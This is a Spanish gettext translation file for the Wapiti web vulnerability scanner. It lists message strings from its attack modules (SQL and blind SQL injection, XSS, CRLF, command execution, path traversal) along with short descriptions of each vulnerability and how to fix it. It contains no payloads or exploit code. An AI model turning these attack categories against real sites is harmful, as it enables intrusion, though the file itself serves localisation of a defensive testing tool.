../attack/mod_xss.py:394 ../attack/mod_xss.py:228 #: ../attack/mod_xss.py:286 ../attack/mod_xss.py:344 ../attack/mod_exec.py:122 #: ../attack/mod_exec.py:134 ../attack/mod_exec.py:187 #: ../attack/mod_xss.py:282 ../attack/mod_sql.py:193 ../attack/mod_sql.py:145 #: ../attack/mod_sql.py:198 ../attack/mod_xss.py:284 ../attack/mod_xss.py:346 #: ../attack/mod_blindsql.py:114 ../attack/mod_crlf.py:88 #: ../attack/mod_crlf.py:95 ../attack/mod_exec.py:129 #: ../attack/mod_exec.py:141 ../attack/mod_exec.py:194 #: ../attack/mod_file.py:164 ../attack/mod_file.py:216 #: ../attack/mod_sql.py:153 ../attack/mod_sql.py:206 #: ../attack/mod_blindsql.py:121 ../attack/mod_xss.py:292 #: ../attack/mod_xss.py:354 msgid "in" msgstr "en" #: ../attack/crlfattack.py:82 ../attack/execattack.py:118 #: ../attack/filehandlingattack.py:144 ../attack/mod_crlf.py:87 #: ../attack/mod_exec.py:120 ../attack/mod_file.py:146 #: ../attack/mod_exec.py:122 ../attack/mod_crlf.py:95 #: ../attack/mod_exec.py:129 ../attack/mod_file.py:155 msgid "Timeout" msgstr "Timeout" #: ../attack/execattack.py:76 ../attack/execattack.py:171 #: ../attack/filehandlingattack.py:198 ../attack/mod_exec.py:78 #: ../attack/mod_exec.py:170 ../attack/mod_file.py:197 #: ../attack/mod_exec.py:80 ../attack/mod_exec.py:172 ../attack/mod_exec.py:87 #: ../attack/mod_exec.py:179 ../attack/mod_file.py:206 msgid "Timeout in" msgstr "Timeout en" #: ../attack/execattack.py:87 ../attack/filehandlingattack.py:109 #: ../attack/filehandlingattack.py:110 ../attack/sqlinjectionattack.py:99 #: ../attack/mod_exec.py:89 ../attack/mod_file.py:111 #: ../attack/mod_file.py:112 ../attack/mod_sql.py:99 ../attack/mod_exec.py:91 #: ../attack/mod_sql.py:104 ../attack/mod_exec.py:98 ../attack/mod_file.py:119 #: ../attack/mod_file.py:120 ../attack/mod_sql.py:112 msgid "(QUERY_STRING) in" msgstr "(QUERY_STRING) en" #: ../attack/execattack.py:96 ../attack/execattack.py:144 #: ../attack/filehandlingattack.py:119 ../attack/filehandlingattack.py:167 #: ../attack/sqlinjectionattack.py:107 ../attack/sqlinjectionattack.py:151 #: ../attack/sqlinjectionattack.py:233 ../attack/sqlinjectionattack.py:275 #: ../attack/mod_exec.py:98 ../attack/mod_exec.py:143 #: ../attack/mod_file.py:121 ../attack/mod_file.py:166 #: ../attack/mod_sql.py:110 ../attack/mod_sql.py:154 #: ../attack/mod_blindsql.py:83 ../attack/mod_blindsql.py:125 #: ../attack/mod_exec.py:100 ../attack/mod_exec.py:145 #: ../attack/mod_htaccess.py:107 ../attack/mod_sql.py:115 #: ../attack/mod_sql.py:159 ../attack/mod_blindsql.py:85 #: ../attack/mod_blindsql.py:129 ../attack/mod_exec.py:107 #: ../attack/mod_exec.py:152 ../attack/mod_file.py:129 #: ../attack/mod_file.py:175 ../attack/mod_sql.py:123 ../attack/mod_sql.py:167 #: ../attack/mod_blindsql.py:92 ../attack/mod_blindsql.py:136 msgid "500 HTTP Error code with" msgstr "Error HTTP 500 con" #: ../attack/execattack.py:172 ../attack/execattack.py:186 #: ../attack/execattack.py:197 ../attack/filehandlingattack.py:199 #: ../attack/filehandlingattack.py:209 ../attack/filehandlingattack.py:220 #: ../attack/sqlinjectionattack.py:189 ../attack/sqlinjectionattack.py:199 #: ../attack/sqlinjectionattack.py:304 ../attack/sqlinjectionattack.py:319 #: ../attack/xssattack.py:270 ../attack/xssattack.py:325 #: ../attack/xssattack.py:380 ../attack/xssattack.py:434 #: ../attack/xssattack.py:491 ../attack/mod_exec.py:171 #: ../attack/mod_exec.py:187 ../attack/mod_exec.py:190 #: ../attack/mod_exec.py:202 ../attack/mod_file.py:198 #: ../attack/mod_file.py:209 ../attack/mod_file.py:212 #: ../attack/mod_file.py:224 ../attack/mod_sql.py:193 ../attack/mod_sql.py:196 #: ../attack/mod_sql.py:211 ../attack/mod_blindsql.py:161 #: ../attack/mod_blindsql.py:164 ../attack/mod_blindsql.py:179 #: ../attack/mod_xss.py:271 ../attack/mod_xss.py:273 ../attack/mod_xss.py:329 #: ../attack/mod_xss.py:331 ../attack/mod_xss.py:387 ../attack/mod_xss.py:389 #: ../attack/mod_xss.py:444 ../attack/mod_xss.py:446 ../attack/mod_xss.py:504 #: ../attack/mod_xss.py:506 ../attack/mod_xss.py:221 ../attack/mod_xss.py:223 #: ../attack/mod_xss.py:279 ../attack/mod_xss.py:281 ../attack/mod_xss.py:337 #: ../attack/mod_xss.py:339 ../attack/mod_xss.py:394 ../attack/mod_xss.py:396 #: ../attack/mod_xss.py:454 ../attack/mod_xss.py:456 ../attack/mod_exec.py:173 #: ../attack/mod_exec.py:189 ../attack/mod_exec.py:192 #: ../attack/mod_exec.py:204 ../attack/mod_xss.py:275 ../attack/mod_xss.py:277 #: ../attack/mod_sql.py:195 ../attack/mod_sql.py:198 ../attack/mod_sql.py:212 #: ../attack/mod_sql.py:200 ../attack/mod_sql.py:203 ../attack/mod_sql.py:217 #: ../attack/mod_xss.py:341 ../attack/mod_blindsql.py:166 #: ../attack/mod_blindsql.py:169 ../attack/mod_blindsql.py:185 #: ../attack/mod_exec.py:180 ../attack/mod_exec.py:196 #: ../attack/mod_exec.py:199 ../attack/mod_exec.py:211 #: ../attack/mod_file.py:207 ../attack/mod_file.py:218 #: ../attack/mod_file.py:221 ../attack/mod_file.py:233 #: ../attack/mod_sql.py:208 ../attack/mod_sql.py:225 #: ../attack/mod_blindsql.py:173 ../attack/mod_blindsql.py:176 #: ../attack/mod_blindsql.py:192 ../attack/mod_xss.py:285 #: ../attack/mod_xss.py:287 ../attack/mod_xss.py:347 ../attack/mod_xss.py:349 msgid "with params" msgstr "con parámetros" #: ../attack/execattack.py:173 ../attack/execattack.py:184 #: ../attack/execattack.py:187 ../attack/execattack.py:198 #: ../attack/filehandlingattack.py:200 ../attack/filehandlingattack.py:207 #: ../attack/filehandlingattack.py:210 ../attack/filehandlingattack.py:221 #: ../attack/sqlinjectionattack.py:187 ../attack/sqlinjectionattack.py:190 #: ../attack/sqlinjectionattack.py:200 ../attack/sqlinjectionattack.py:305 #: ../attack/sqlinjectionattack.py:320 ../attack/xssattack.py:271 #: ../attack/xssattack.py:326 ../attack/xssattack.py:381 #: ../attack/xssattack.py:435 ../attack/xssattack.py:492 #: ../attack/mod_exec.py:172 ../attack/mod_exec.py:184 #: ../attack/mod_exec.py:191 ../attack/mod_exec.py:203 #: ../attack/mod_file.py:199 ../attack/mod_file.py:206 #: ../attack/mod_file.py:213 ../attack/mod_file.py:225 #: ../attack/mod_sql.py:190 ../attack/mod_sql.py:197 ../attack/mod_sql.py:212 #: ../attack/mod_blindsql.py:165 ../attack/mod_blindsql.py:180 #: ../attack/mod_xss.py:274 ../attack/mod_xss.py:332 ../attack/mod_xss.py:390 #: ../attack/mod_xss.py:447 ../attack/mod_xss.py:507 ../attack/mod_xss.py:224 #: ../attack/mod_xss.py:282 ../attack/mod_xss.py:340 ../attack/mod_xss.py:397 #: ../attack/mod_xss.py:457 ../attack/mod_exec.py:174 #: ../attack/mod_exec.py:186 ../attack/mod_exec.py:193 #: ../attack/mod_exec.py:205 ../attack/mod_xss.py:278 ../attack/mod_sql.py:192 #: ../attack/mod_sql.py:199 ../attack/mod_sql.py:213 ../attack/mod_sql.py:204 #: ../attack/mod_sql.py:218 ../attack/mod_xss.py:280 ../attack/mod_xss.py:342 #: ../attack/mod_blindsql.py:170 ../attack/mod_blindsql.py:186 #: ../attack/mod_exec.py:181 ../attack/mod_exec.py:200 #: ../attack/mod_exec.py:212 ../attack/mod_file.py:208 #: ../attack/mod_file.py:215 ../attack/mod_file.py:222 #: ../attack/mod_file.py:234 ../attack/mod_sql.py:205 ../attack/mod_sql.py:226 #: ../attack/mod_blindsql.py:177 ../attack/mod_blindsql.py:193 #: ../attack/mod_xss.py:288 ../attack/mod_xss.py:350 msgid "coming from" msgstr "viniendo de" #: ../attack/execattack.py:177 ../attack/filehandlingattack.py:197 #: ../attack/mod_exec.py:176 ../attack/mod_file.py:196 #: ../attack/mod_exec.py:178 ../attack/mod_exec.py:185 #: ../attack/mod_file.py:205 msgid "Timeout coming from" msgstr "Timeout viniendo de" #: ../attack/execattack.py:194 ../attack/filehandlingattack.py:217 #: ../attack/sqlinjectionattack.py:196 ../attack/sqlinjectionattack.py:316 #: ../attack/mod_exec.py:199 ../attack/mod_file.py:221 #: ../attack/mod_sql.py:208 ../attack/mod_blindsql.py:176 #: ../attack/mod_exec.py:201 ../attack/mod_sql.py:209 ../attack/mod_sql.py:214 #: ../attack/mod_blindsql.py:182 ../attack/mod_exec.py:208 #: ../attack/mod_file.py:230 ../attack/mod_sql.py:222 #: ../attack/mod_blindsql.py:189 msgid "500 HTTP Error code coming from" msgstr "Error HTTP 500 viniendo de" #: ../attack/execattack.py:196 ../attack/filehandlingattack.py:219 #: ../attack/sqlinjectionattack.py:198 ../attack/sqlinjectionattack.py:318 #: ../attack/mod_exec.py:201 ../attack/mod_file.py:223 #: ../attack/mod_sql.py:210 ../attack/mod_blindsql.py:178 #: ../attack/mod_exec.py:203 ../attack/mod_sql.py:211 ../attack/mod_sql.py:216 #: ../attack/mod_blindsql.py:184 ../attack/mod_exec.py:210 #: ../attack/mod_file.py:232 ../attack/mod_sql.py:224 #: ../attack/mod_blindsql.py:191 msgid "500 HTTP Error code in" msgstr "Error HTTP 500 en" #: ../attack/sqlinjectionattack.py:223 ../attack/mod_blindsql.py:73 #: ../attack/mod_blindsql.py:74 ../attack/mod_blindsql.py:81 msgid "Blind SQL Injection (QUERY_STRING)" msgstr "Inyección ciega SQL (QUERY_STRING)" #: ../attack/sqlinjectionattack.py:224 ../attack/mod_blindsql.py:74 #: ../attack/mod_blindsql.py:75 ../attack/mod_blindsql.py:82 msgid "Blind SQL Injection (QUERY_STRING) in" msgstr "Inyección ciega SQL (QUERY_STRING) en" #: ../attack/sqlinjectionattack.py:256 ../attack/sqlinjectionattack.py:257 #: ../attack/sqlinjectionattack.py:263 ../attack/sqlinjectionattack.py:264 #: ../config/vulnerabilities/vulnerabilities.xml:17 #: ../attack/mod_blindsql.py:109 ../attack/mod_blindsql.py:111 #: ../attack/mod_blindsql.py:114 ../attack/mod_blindsql.py:112 #: ../attack/mod_blindsql.py:117 ../attack/mod_blindsql.py:119 #: ../attack/mod_blindsql.py:121 ../attack/mod_blindsql.py:124 msgid "Blind SQL Injection" msgstr "Inyección ciega SQL" #: ../attack/sqlinjectionattack.py:302 ../attack/mod_blindsql.py:158 #: ../attack/mod_blindsql.py:163 ../attack/mod_blindsql.py:170 msgid "Blind SQL Injection coming from" msgstr "Inyección ciega SQL viniendo de" #: ../attack/sqlinjectionattack.py:303 ../attack/mod_blindsql.py:159 #: ../attack/mod_blindsql.py:164 ../attack/mod_blindsql.py:171 msgid "Blind SQL Injection in" msgstr "Inyección ciega SQL en" #: ../attack/xssattack.py:132 ../attack/xssattack.py:135 #: ../attack/xssattack.py:155 ../attack/mod_xss.py:133 #: ../attack/mod_xss.py:136 ../attack/mod_xss.py:156 #: ../attack/mod_permanentxss.py:69 ../attack/mod_permanentxss.py:76 #: ../attack/mod_permanentxss.py:81 ../attack/mod_permanentxss.py:103 #: ../attack/mod_permanentxss.py:105 msgid "Found permanent XSS in" msgstr "Encontrado XSS permanente en" #: ../attack/xssattack.py:132 ../attack/xssattack.py:135 #: ../attack/mod_xss.py:133 ../attack/mod_xss.py:136 #: ../attack/mod_permanentxss.py:69 ../attack/mod_permanentxss.py:77 #: ../attack/mod_permanentxss.py:81 ../attack/mod_permanentxss.py:83 msgid "with" msgstr "con" #: ../attack/xssattack.py:153 ../attack/mod_xss.py:154 #: ../attack/mod_permanentxss.py:101 ../attack/mod_permanentxss.py:103 msgid "Found permanent XSS attacked by" msgstr "Encontrados XSS permanentes atacados mediante" #: ../attack/xssattack.py:154 ../attack/mod_xss.py:155 #: ../attack/mod_permanentxss.py:102 msgid "with field" msgstr "con campo" #: ../attack/xssattack.py:156 ../attack/mod_xss.py:157 #: ../attack/mod_permanentxss.py:105 ../attack/mod_permanentxss.py:108 #: ../attack/mod_permanentxss.py:107 ../attack/mod_permanentxss.py:110 msgid "attacked by" msgstr "atacado por" #: ../attack/xssattack.py:156 ../attack/mod_xss.py:157 #: ../attack/mod_permanentxss.py:105 ../attack/mod_permanentxss.py:108 #: ../attack/mod_permanentxss.py:104 ../attack/mod_permanentxss.py:107 #: ../attack/mod_permanentxss.py:110 msgid "with fields" msgstr "con campos" #: ../attack/xssattack.py:261 ../attack/xssattack.py:266 #: ../attack/xssattack.py:275 ../attack/xssattack.py:278 #: ../attack/xssattack.py:316 ../attack/xssattack.py:321 #: ../attack/xssattack.py:330 ../attack/xssattack.py:333 #: ../attack/xssattack.py:372 ../attack/xssattack.py:377 #: ../attack/xssattack.py:385 ../attack/xssattack.py:388 #: ../attack/xssattack.py:426 ../attack/xssattack.py:431 #: ../attack/xssattack.py:439 ../attack/xssattack.py:442 #: ../attack/xssattack.py:482 ../attack/xssattack.py:487 #: ../attack/xssattack.py:496 ../attack/xssattack.py:499 #: ../attack/mod_xss.py:261 ../attack/mod_xss.py:266 ../attack/mod_xss.py:278 #: ../attack/mod_xss.py:281 ../attack/mod_xss.py:319 ../attack/mod_xss.py:324 #: ../attack/mod_xss.py:336 ../attack/mod_xss.py:339 ../attack/mod_xss.py:378 #: ../attack/mod_xss.py:383 ../attack/mod_xss.py:394 ../attack/mod_xss.py:397 #: ../attack/mod_xss.py:435 ../attack/mod_xss.py:440 ../attack/mod_xss.py:451 #: ../attack/mod_xss.py:454 ../attack/mod_xss.py:494 ../attack/mod_xss.py:499 #: ../attack/mod_xss.py:511 ../attack/mod_xss.py:514 ../attack/mod_xss.py:211 #: ../attack/mod_xss.py:216 ../attack/mod_xss.py:228 ../attack/mod_xss.py:231 #: ../attack/mod_xss.py:269 ../attack/mod_xss.py:274 ../attack/mod_xss.py:286 #: ../attack/mod_xss.py:289 ../attack/mod_xss.py:328 ../attack/mod_xss.py:333 #: ../attack/mod_xss.py:344 ../attack/mod_xss.py:347 ../attack/mod_xss.py:385 #: ../attack/mod_xss.py:390 ../attack/mod_xss.py:401 ../attack/mod_xss.py:404 #: ../attack/mod_xss.py:444 ../attack/mod_xss.py:449 ../attack/mod_xss.py:461 #: ../attack/mod_xss.py:464 ../attack/mod_xss.py:265 ../attack/mod_xss.py:270 #: ../attack/mod_xss.py:282 ../attack/mod_xss.py:285 ../attack/mod_xss.py:327 #: ../attack/mod_xss.py:332 ../attack/mod_xss.py:267 ../attack/mod_xss.py:272 #: ../attack/mod_xss.py:284 ../attack/mod_xss.py:287 ../attack/mod_xss.py:329 #: ../attack/mod_xss.py:334 ../attack/mod_xss.py:346 ../attack/mod_xss.py:349 #: ../attack/mod_xss.py:275 ../attack/mod_xss.py:280 ../attack/mod_xss.py:292 #: ../attack/mod_xss.py:295 msgid "XSS" msgstr "XSS" #: ../attack/xssattack.py:269 ../attack/xssattack.py:324 #: ../attack/xssattack.py:379 ../attack/xssattack.py:433 #: ../attack/xssattack.py:490 ../attack/mod_xss.py:269 #: ../attack/mod_xss.py:327 ../attack/mod_xss.py:385 ../attack/mod_xss.py:442 #: ../attack/mod_xss.py:502 ../attack/mod_xss.py:219 ../attack/mod_xss.py:277 #: ../attack/mod_xss.py:335 ../attack/mod_xss.py:392 ../attack/mod_xss.py:452 #: ../attack/mod_xss.py:273 ../attack/mod_xss.py:275 ../attack/mod_xss.py:337 #: ../attack/mod_xss.py:283 msgid "Found XSS in" msgstr "Encontrado XSS en" #: ../attack/vulnerabilitiesdescriptions.py:2 msgid "500 HTTP Error code." msgstr "Error HTTP 500" #: ../attack/vulnerabilitiesdescriptions.py:3 msgid "500 Error description" msgstr "" "Error interno del servidor. El servidor encontró una condición inesperada " "que le impide llevar a cabo la solicitud." #: ../config/vulnerabilities/vulnerabilities.xml:3 msgid "SQL Injection" msgstr "Inyección SQL" #: ../config/vulnerabilities/vulnerabilities.xml:4 msgid "SQL Injection description" msgstr "" "La inyección SQL es una técnica que explota una vulnerabilidad que ocurre en " "la base de datos de una aplicación." #: ../config/vulnerabilities/vulnerabilities.xml:5 msgid "SQL Injection solution" msgstr "" "Para protegerse contra las inyecciones SQL, las entradas de información que " "el usuario introduce en la aplicación no deben ser directamente colocadas en " "sentencias SQL. En vez de eso, las entradas deben ser limipiadas, filtradas " "o bien se deben usar sentencias parametrizadas." #: ../config/vulnerabilities/vulnerabilities.xml:18 msgid "Blind SQL Injection description" msgstr "" "La inyección SQL ciega es una técnica que explota una vulnerabilidad que " "ocurre en la base de datos de una aplicación. Este tipo de vulnerabilidad es " "más difícil de detectar que la inyección SQL normal porque no muestra " "mensajes de error en la página web." #: ../config/vulnerabilities/vulnerabilities.xml:19 msgid "Blind SQL Injection solution" msgstr "" "Para protegerse contra las inyecciones SQL, las entradas de información que " "el usuario introduce en la aplicación no deben ser directamente colocadas en " "sentencias SQL. En vez de eso, las entradas deben ser limipiadas, filtradas " "o bien se deben usar sentencias parametrizadas." #: ../config/vulnerabilities/vulnerabilities.xml:31 msgid "File Handling" msgstr "Manejo de archivos" #: ../config/vulnerabilities/vulnerabilities.xml:32 msgid "File Handling description" msgstr "" "Este ataque es también conocido como Path Transversal o Directory " "Transversal, su objetivo es acceder a directorios y ficheros que son " "almacenados fuera del directorio en el que se encuentra la aplicación web. " "El atacante intenta explorar los ditectorios guardados en el servidor web " "usando algunas técnicas como por ejemplo, la manipulación de variables que " "referencian ficheros con secuencias de 'punto punto barra (../)' y sus " "variantes para moverse hasta el directorio raíz para navegar a través del " "sistema de archivos." #: ../config/vulnerabilities/vulnerabilities.xml:33 msgid "File Handling solution" msgstr "" "Es preferible no usar las entradas de un usuario cuando se manejan llamadas " "al sistema de ficheros
    Usar índices mejor que porciones del nombre del " "fichero cuando se usen ficheros de lenguaje (por ejemplo el valor 5 para la " "entrada de datos de usuario por el nombre Checoslovaco, en vez de esperar " "que el usuario introduzca 'Checoslovaco').
    Asegurar que el usuario no " "pueda acceder a la ruta entera de un fichero.
    Validar la entrada de datos " "del usuario, solo aceptando las rutas que son conocidas.
    Usar jaulas " "(chrooted jails) y tener políticas de acceso para restringir por quien puede " "ser leído o escrito un fichero." #: ../config/vulnerabilities/vulnerabilities.xml:45 msgid "Cross Site Scripting" msgstr "Cross Site Scripting" #: ../config/vulnerabilities/vulnerabilities.xml:46 msgid "Cross Site Scripting description" msgstr "" "Cross-site scripting (XSS) es un tipo de vulnerabilidad que se encuentra en " "aplicaciones web que permite la inyección de código por usuarios maliciosos " "dentro de las páginas vistas por otros usuarios. Normalmente el código " "inyectado suele ser HTML y lenguajes del lado cliente, como JavaScript." #: ../config/vulnerabilities/vulnerabilities.xml:47 msgid "Cross Site Scripting solution" msgstr "" "La mejor forma de proteger una aplicación web de los ataques XSS es " "asegurarse de que la aplicacion realiza validaciones sobre todas las " "cabeceras, cookies, query strings, campos de formularios y campos ocultos. " "La codificación de los datos proporcionados por el usuario en el servidor " "puede servir para defenderse de vulnerabilidades XSS mediante la prevencion " "de inserción de script transmitidos por los usuarios desde formularios. Las " "aplicaciones estarán mejor protegidas de los ataques basados en JavaScript " "mediante la conversión apropiada codificación en HTML de los siguientes " "caracteres: <, >, &, ", ', (, ), #, %, ; , +, -" #: ../config/vulnerabilities/vulnerabilities.xml:59 msgid "CRLF" msgstr "CRLF" #: ../config/vulnerabilities/vulnerabilities.xml:60 msgid "CRLF description" msgstr "" "El término CRLF se refiere al retorno de carro (ASCII 13, \\r) y al salto de " "línea(ASCII 10, \\n). Suelen usarse para delimitar la terminación de una " "línea, sin embargo, funcionan de forma diferente en los sistemas operativos " "más populares hoy en día. Por ejemplo: en Windows tanto el retorno de carro " "(CR) como el salto de línea (LF) son requeridos para indicar el final de la " "línea, mientras que en Linux/UNIX solo se necesita un salto de línea (LF). " "Esta combinación de retorno de carro y salto de línea se usa por ejemplo " "cuando se presiona 'Intro' en el teclado. Dependiendo de la aplicación que " "se esté usando, la presión de 'Intro' normalmente indica a la aplicación el " "comienzo de una nueva línea o el envío de un comando." #: ../config/vulnerabilities/vulnerabilities.xml:61 msgid "CRLF solution" msgstr "" "Comprobar los parámetros enviados por el usuario y evitando que se inserten " "CRLF mediante su filtrado." #: ../config/vulnerabilities/vulnerabilities.xml:73 msgid "Commands execution" msgstr "Ejecución de comandos" #: ../config/vulnerabilities/vulnerabilities.xml:74 msgid "Commands execution description" msgstr "" "Este ataque consiste en ejecutar comandos del sistema en el servidor. El " "atacante intenta inyectar estos comandos en los parametros de la petición al " "servidor." #: ../config/vulnerabilities/vulnerabilities.xml:75 msgid "Commands execution solution" msgstr "" "Preferiblemente no usar las entradas de un usuario cuando se manejen " "llamadas al sistema de ficheros" #: ../config/vulnerabilities/vulnerabilities.xml:83 msgid "Resource consumption" msgstr "Consumo de recursos" #: ../config/vulnerabilities/vulnerabilities.xml:84 msgid "Resource consumption description" msgstr "" "Un atacante puede forzar a una víctima a consumir más recursos de los que le " "está permitido consumir debido al nivel de acceso del atacante. El programa " "puede potencialmente fallar liberando un recurso del sistema o puede " "liberarlo incorrectamente. Si un recurso no es adecuadamente liberado no " "estará disponible para poder ser reutilizado. También puede ser un falso " "positivo debido al corto timeout usado en el para realizar el ataque." #: ../config/vulnerabilities/vulnerabilities.xml:85 msgid "Resource consumption solution" msgstr "" "Configurar adecuadamente el software para evitar el consumo de memoria o la " "caída del sistema." #: ../wapiti.py:481 ../wapiti.py:483 ../net/lswww.py:463 ../net/lswww.py:465 #: ../net/lswww.py:472 ../wapiti.py:436 ../wapiti.py:438 ../net/lswww.py:506 #: ../net/lswww.py:515 ../net/lswww.py:512 ../net/lswww.py:521 #: ../wapiti.py:435 ../wapiti.py:437 ../wapiti.py:440 ../net/lswww.py:471 #: ../net/lswww.py:480 ../wapiti.py:443 ../net/lswww.py:479 #: ../net/lswww.py:488 ../net/lswww.py:481 ../net/lswww.py:490 msgid "File" msgstr "Archivo" #: ../wapiti.py:481 ../wapiti.py:436 ../wapiti.py:435 ../wapiti.py:438 #: ../wapiti.py:441 msgid "loaded, Wapiti will use it to perform the attacks" msgstr "cargado, Wapiti lo usará para realizar los ataques" #: ../wapiti.py:483 ../net/lswww.py:465 ../net/lswww.py:472 ../wapiti.py:438 #: ../net/lswww.py:515 ../net/lswww.py:521 ../wapiti.py:437 ../wapiti.py:441 #: ../net/lswww.py:480 ../wapiti.py:444 ../net/lswww.py:488 #: ../net/lswww.py:490 msgid "not found, Wapiti will scan again the web site" msgstr "no encontrado, Wapiti escaneará de nuevo el sitio web" #: ../net/lswww.py:463 ../net/lswww.py:506 ../net/lswww.py:512 #: ../net/lswww.py:471 ../net/lswww.py:479 ../net/lswww.py:481 msgid "loaded, the scan continues" msgstr "cargado, el escaneo continua" #: ../net/lswww.py:506 ../net/lswww.py:489 ../net/lswww.py:496 #: ../net/lswww.py:535 ../net/lswww.py:542 ../net/lswww.py:544 #: ../net/lswww.py:551 ../net/lswww.py:503 ../net/lswww.py:510 #: ../net/lswww.py:511 ../net/lswww.py:518 ../net/lswww.py:513 #: ../net/lswww.py:520 msgid "Notice" msgstr "Aviso" #: ../net/lswww.py:508 ../net/lswww.py:498 ../net/lswww.py:544 #: ../net/lswww.py:553 ../net/lswww.py:512 ../net/lswww.py:520 #: ../net/lswww.py:522 msgid "Scan stopped, the data has been saved in the file" msgstr "Escaneo detenido, la información ha sido guardada en el fichero" #: ../net/lswww.py:509 ../net/lswww.py:499 ../net/lswww.py:545 msgid "To continue this scan, you should launch Wapiti with" msgstr "Para continuar el escaneo se debe lanzar Wapiti con la opción" #: ../net/lswww.py:509 ../net/lswww.py:492 ../net/lswww.py:499 #: ../net/lswww.py:538 ../net/lswww.py:545 msgid "parameter" msgstr "como parametro" #: ../attack/vulnerabilitiesdescriptions.py:2 msgid "500 HTTP Error code" msgstr "Código de error HTTP 500" #: ../wapiti.py:491 ../wapiti.py:446 ../wapiti.py:445 ../wapiti.py:449 #: ../wapiti.py:452 msgid "" "Attack process interrupted. To perform again the attack, lauch Wapiti with " "\"-i\" or \"-k\" parameter." msgstr "" "Proceso de ataque interrumpido. Para realizar de nuevo el mismo ataque lanza " "Wapiti con el parametro \"-i\" o \"-k\"" #: ../net/lswww.py:465 ../net/lswww.py:508 ../net/lswww.py:514 #: ../net/lswww.py:473 ../net/lswww.py:481 ../net/lswww.py:483 msgid "URLs to browse" msgstr "URL a escanear" #: ../net/lswww.py:468 ../net/lswww.py:511 ../net/lswww.py:517 #: ../net/lswww.py:476 ../net/lswww.py:484 ../net/lswww.py:486 msgid "URLs browsed" msgstr "URL escaneadas" #: ../net/lswww.py:491 ../net/lswww.py:537 ../net/lswww.py:546 #: ../net/lswww.py:505 ../net/lswww.py:513 ../net/lswww.py:515 msgid "This scan has been saved in the file" msgstr "El escaneo ha sido guardado en el fichero" #: ../net/lswww.py:492 ../net/lswww.py:538 msgid "" "You can use it to perform attacks without scanning again the web site with" msgstr "" "Puede ser usado para realizar ataques sin necesidad de escanear nuevamente " "el sitio web con" #: ../attack/mod_permanentxss.py:110 ../attack/mod_permanentxss.py:112 msgid "injected from " msgstr "inyectado desde" #: ../net/lswww.py:538 ../net/lswww.py:547 ../net/lswww.py:506 #: ../net/lswww.py:514 ../net/lswww.py:516 msgid "" "You can use it to perform attacks without scanning again the web site with " "the \"-k\" parameter" msgstr "" "Puede ser usado para realizar ataques sin necesidad de escanear nuevamente " "el sitio web utilizando el parámetro \"-k\"" #: ../net/lswww.py:545 ../net/lswww.py:554 ../net/lswww.py:513 #: ../net/lswww.py:521 ../net/lswww.py:523 msgid "" "To continue this scan, you should launch Wapiti with the \"-i\" parameter" msgstr "" "Para continuar el escaneo, Wapiti deberá ser lanzado con el parámetro \"-i\"" #: ../wapiti.py:176 ../wapiti.py:175 ../wapiti.py:178 msgid "Loading modules" msgstr "Cargando módulos" #: ../attack/mod_backup.py:56 ../attack/mod_backup.py:59 #: ../attack/mod_backup.py:65 ../attack/mod_backup.py:68 msgid "Found backup file !" msgstr "Encontrado fichero de backup" #: ../attack/mod_backup.py:63 ../attack/mod_backup.py:72 msgid "Backup file found for" msgstr "Fichero de backup encontrado para" #: ../attack/mod_nikto.py:31 ../attack/mod_nikto.py:32 msgid "Problem with local nikto database." msgstr "Se ha encontrado un problema con la base de datos Nikto local." #: ../attack/mod_nikto.py:32 ../attack/mod_nikto.py:33 msgid "Downloading from the web..." msgstr "Descargando de la web..." #: ../attack/mod_nikto.py:44 ../attack/mod_nikto.py:45 msgid "Error downloading Nikto database" msgstr "Error al descargar la base de datos Nikto" #: ../attack/mod_nikto.py:151 ../attack/mod_nikto.py:154 #: ../attack/mod_nikto.py:152 ../attack/mod_nikto.py:153 msgid "References:" msgstr "Referencias:" #: ../wapiti.py:256 ../wapiti.py:259 msgid "Missing dependecies for module" msgstr "Dependencias perdidas para el módulo" #: ../wapiti.py:262 ../wapiti.py:265 msgid "Launching module" msgstr "Lanzando módulo" #: ../attack/mod_htaccess.py:54 msgid "HtAccess protection found:" msgstr "Protección HtAccess encontrada" #: ../attack/mod_htaccess.py:73 ../attack/mod_htaccess.py:76 #: ../attack/mod_htaccess.py:96 ../attack/mod_htaccess.py:99 msgid "Source code:" msgstr "Códgo fuente" #: ../attack/mod_htaccess.py:83 ../attack/mod_htaccess.py:85 msgid ".htaccess bypass vulnerability:" msgstr "Vulnerabilidad bypass .htaccess:" #: ../attack/mod_crlf.py:76 ../attack/mod_crlf.py:84 msgid "CRLF Injection" msgstr "Inyección CRLF" #: ../attack/mod_file.py:70 msgid "Remote include" msgstr "incluido Remote" #: ../attack/mod_sql.py:42 ../attack/mod_sql.py:44 ../attack/mod_sql.py:43 #: ../attack/mod_sql.py:45 msgid "MySQL Injection" msgstr "Inyección MySQL" #: ../attack/mod_sql.py:46 ../attack/mod_sql.py:47 msgid "Access-Based SQL Injection" msgstr "Acceso basado en Inyección SQL" #: ../attack/mod_sql.py:48 ../attack/mod_sql.py:50 ../attack/mod_sql.py:52 #: ../attack/mod_sql.py:49 ../attack/mod_sql.py:51 ../attack/mod_sql.py:53 msgid "MSSQL-Based Injection" msgstr "Inyección basada en MSSQL" #: ../attack/mod_sql.py:54 ../attack/mod_sql.py:55 msgid "Java.SQL Injection" msgstr "Inyección Java.SQL" #: ../attack/mod_sql.py:56 ../attack/mod_sql.py:57 msgid "PostgreSQL Injection" msgstr "Inyección PostgreSQL" #: ../attack/mod_sql.py:58 ../attack/mod_sql.py:59 msgid "XPath Injection" msgstr "Inyección XPath" #: ../attack/mod_sql.py:60 ../attack/mod_sql.py:61 msgid "LDAP Injection" msgstr "Inyección LDAP" #: ../attack/mod_sql.py:62 ../attack/mod_sql.py:63 msgid "DB2 Injection" msgstr "Inyección DB2" #: ../attack/mod_sql.py:64 ../attack/mod_sql.py:65 msgid "Interbase Injection" msgstr "Inyección Interbase" #: ../attack/mod_sql.py:66 ../attack/mod_sql.py:67 msgid "Sybase Injection" msgstr "Inyección Sybase" #: ../attack/mod_exec.py:48 msgid "Command execution" msgstr "Ejecución de comando" #: ../attack/mod_exec.py:54 msgid "preg_replace injection" msgstr "Inyección de preg_replace" #: ../attack/mod_sql.py:70 msgid "Oracle Injection" msgstr "Inyección Oracle" #: ../net/getcookie.py:53 ../net/getcookie.py:125 ../net/cookie.py:42 #: ../net/getcookie.py:57 ../net/getcookie.py:130 ../net/cookie.py:46 msgid "Error getting url" msgstr "Error obteniendo la URL" #: ../net/getcookie.py:61 ../net/getcookie.py:63 msgid "Error fetching page" msgstr "Error al leer la página" #: 